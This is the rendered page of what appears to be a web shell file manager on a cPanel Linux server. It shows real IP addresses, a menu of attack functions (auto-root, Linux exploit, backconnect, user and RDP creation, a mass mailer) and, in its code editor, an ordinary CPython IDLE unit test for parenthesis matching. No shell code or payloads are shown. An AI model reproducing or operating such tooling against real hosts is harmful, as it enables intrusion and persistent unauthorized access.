Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.17.192
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
mysqlsh /
lib /
python3.13 /
idlelib /
idle_test /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
8.67
KB
-rw-r--r--
__init__.py
1.22
KB
-rw-r--r--
example_noext
68
B
-rw-r--r--
example_stub.pyi
164
B
-rw-r--r--
htest.py
14.95
KB
-rw-r--r--
mock_idle.py
1.9
KB
-rw-r--r--
mock_tk.py
11.42
KB
-rw-r--r--
template.py
642
B
-rw-r--r--
test_autocomplete.py
10.83
KB
-rw-r--r--
test_autocomplete_w.py
720
B
-rw-r--r--
test_autoexpand.py
4.53
KB
-rw-r--r--
test_browser.py
8.22
KB
-rw-r--r--
test_calltip.py
13.34
KB
-rw-r--r--
test_calltip_w.py
686
B
-rw-r--r--
test_codecontext.py
15.71
KB
-rw-r--r--
test_colorizer.py
22.35
KB
-rw-r--r--
test_config.py
31.34
KB
-rw-r--r--
test_config_key.py
11.19
KB
-rw-r--r--
test_configdialog.py
54.09
KB
-rw-r--r--
test_debugger.py
9.5
KB
-rw-r--r--
test_debugger_r.py
965
B
-rw-r--r--
test_debugobj.py
1.57
KB
-rw-r--r--
test_debugobj_r.py
545
B
-rw-r--r--
test_delegator.py
1.53
KB
-rw-r--r--
test_editmenu.py
2.5
KB
-rw-r--r--
test_editor.py
7.96
KB
-rw-r--r--
test_filelist.py
795
B
-rw-r--r--
test_format.py
23.06
KB
-rw-r--r--
test_grep.py
4.95
KB
-rw-r--r--
test_help.py
863
B
-rw-r--r--
test_help_about.py
5.77
KB
-rw-r--r--
test_history.py
5.39
KB
-rw-r--r--
test_hyperparser.py
8.87
KB
-rw-r--r--
test_iomenu.py
2.4
KB
-rw-r--r--
test_macosx.py
3.36
KB
-rw-r--r--
test_mainmenu.py
1.6
KB
-rw-r--r--
test_multicall.py
1.29
KB
-rw-r--r--
test_outwin.py
5.54
KB
-rw-r--r--
test_parenmatch.py
3.46
KB
-rw-r--r--
test_pathbrowser.py
2.37
KB
-rw-r--r--
test_percolator.py
3.97
KB
-rw-r--r--
test_pyparse.py
18.91
KB
-rw-r--r--
test_pyshell.py
4.85
KB
-rw-r--r--
test_query.py
15.09
KB
-rw-r--r--
test_redirector.py
4.08
KB
-rw-r--r--
test_replace.py
8.1
KB
-rw-r--r--
test_rpc.py
805
B
-rw-r--r--
test_run.py
15.48
KB
-rw-r--r--
test_runscript.py
777
B
-rw-r--r--
test_scrolledlist.py
496
B
-rw-r--r--
test_search.py
2.4
KB
-rw-r--r--
test_searchbase.py
5.56
KB
-rw-r--r--
test_searchengine.py
11.32
KB
-rw-r--r--
test_sidebar.py
26.22
KB
-rw-r--r--
test_squeezer.py
19.2
KB
-rw-r--r--
test_stackviewer.py
991
B
-rw-r--r--
test_statusbar.py
1.11
KB
-rw-r--r--
test_text.py
6.81
KB
-rw-r--r--
test_textview.py
7.19
KB
-rw-r--r--
test_tooltip.py
5.26
KB
-rw-r--r--
test_tree.py
1.71
KB
-rw-r--r--
test_undo.py
4.13
KB
-rw-r--r--
test_util.py
308
B
-rw-r--r--
test_warning.py
2.68
KB
-rw-r--r--
test_window.py
1.05
KB
-rw-r--r--
test_zoomheight.py
999
B
-rw-r--r--
test_zzdummy.py
4.35
KB
-rw-r--r--
tkinter_testing_utils.py
2.28
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_parenmatch.py
"""Test parenmatch, coverage 91%. This must currently be a gui test because ParenMatch methods use several text methods not defined on idlelib.idle_test.mock_tk.Text. """ from idlelib.parenmatch import ParenMatch from test.support import requires requires('gui') import unittest from unittest.mock import Mock from tkinter import Tk, Text class DummyEditwin: def __init__(self, text): self.text = text self.indentwidth = 8 self.tabwidth = 8 self.prompt_last_line = '>>>' # Currently not used by parenmatch. class ParenMatchTest(unittest.TestCase): @classmethod def setUpClass(cls): cls.root = Tk() cls.root.withdraw() cls.text = Text(cls.root) cls.editwin = DummyEditwin(cls.text) cls.editwin.text_frame = Mock() @classmethod def tearDownClass(cls): del cls.text, cls.editwin cls.root.update_idletasks() cls.root.destroy() del cls.root def tearDown(self): self.text.delete('1.0', 'end') def get_parenmatch(self): pm = ParenMatch(self.editwin) pm.bell = lambda: None return pm def test_paren_styles(self): """ Test ParenMatch with each style. """ text = self.text pm = self.get_parenmatch() for style, range1, range2 in ( ('opener', ('1.10', '1.11'), ('1.10', '1.11')), ('default',('1.10', '1.11'),('1.10', '1.11')), ('parens', ('1.14', '1.15'), ('1.15', '1.16')), ('expression', ('1.10', '1.15'), ('1.10', '1.16'))): with self.subTest(style=style): text.delete('1.0', 'end') pm.STYLE = style text.insert('insert', 'def foobar(a, b') pm.flash_paren_event('event') self.assertIn('<<parenmatch-check-restore>>', text.event_info()) if style == 'parens': self.assertTupleEqual(text.tag_nextrange('paren', '1.0'), ('1.10', '1.11')) self.assertTupleEqual( text.tag_prevrange('paren', 'end'), range1) text.insert('insert', ')') pm.restore_event() self.assertNotIn('<<parenmatch-check-restore>>', text.event_info()) self.assertEqual(text.tag_prevrange('paren', 'end'), ()) pm.paren_closed_event('event') self.assertTupleEqual( text.tag_prevrange('paren', 'end'), range2) def test_paren_corner(self): """ Test corner cases in flash_paren_event and paren_closed_event. Force execution of conditional expressions and alternate paths. """ text = self.text pm = self.get_parenmatch() text.insert('insert', '# Comment.)') pm.paren_closed_event('event') text.insert('insert', '\ndef') pm.flash_paren_event('event') pm.paren_closed_event('event') text.insert('insert', ' a, *arg)') pm.paren_closed_event('event') def test_handle_restore_timer(self): pm = self.get_parenmatch() pm.restore_event = Mock() pm.handle_restore_timer(0) self.assertTrue(pm.restore_event.called) pm.restore_event.reset_mock() pm.handle_restore_timer(1) self.assertFalse(pm.restore_event.called) if __name__ == '__main__': unittest.main(verbosity=2)
Close